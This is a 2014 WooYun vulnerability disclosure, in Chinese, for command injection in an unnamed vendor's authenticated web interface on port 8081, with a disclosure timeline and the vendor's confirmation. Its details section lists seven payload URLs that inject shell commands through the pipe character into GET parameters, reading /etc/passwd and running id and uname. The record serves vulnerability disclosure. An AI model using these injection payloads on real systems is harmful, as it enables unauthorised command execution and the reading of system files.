漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2014-04-02： 细节已通知厂商并且等待厂商处理中
2014-04-03： 厂商已经确认，细节仅向厂商公开
2014-04-06： 细节向第三方安全合作伙伴开放
2014-05-28： 细节向核心白帽子及相关领域专家公开
2014-06-07： 细节向普通白帽子公开
2014-06-17： 细节向实习白帽子公开
2014-07-01： 细节向公众公开
简要描述：
需登录
详细说明：
http://target.com:8081/mem_user.php?action=search&user_login_name=|cat%20/etc/passwd
http://target.com:8081/log.php?uname=1|cat%20/etc/passwd%20%3E/tmp/12.txt
http://target.com:8081/online_user.php?uname=|cat%20/etc/passwd
http://target.com:8081/online_user.php?ip=|uname
http://target.com:8081/online_user.php?flux=|id
http://target.com:8081/online_user_rad.php?flux=|id
http://target.com:8081/show_flux.php?eth=|id%20%3E%20/tmp/22.txt
漏洞证明：
示例：
修复方案：
无
版权声明：转载请注明来源 itleaf@乌云
>
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-04-03 08:58
厂商回复：
8081表单过滤问题，已经安排修复漏洞，非常感谢乌云指出。
最新状态：
暂无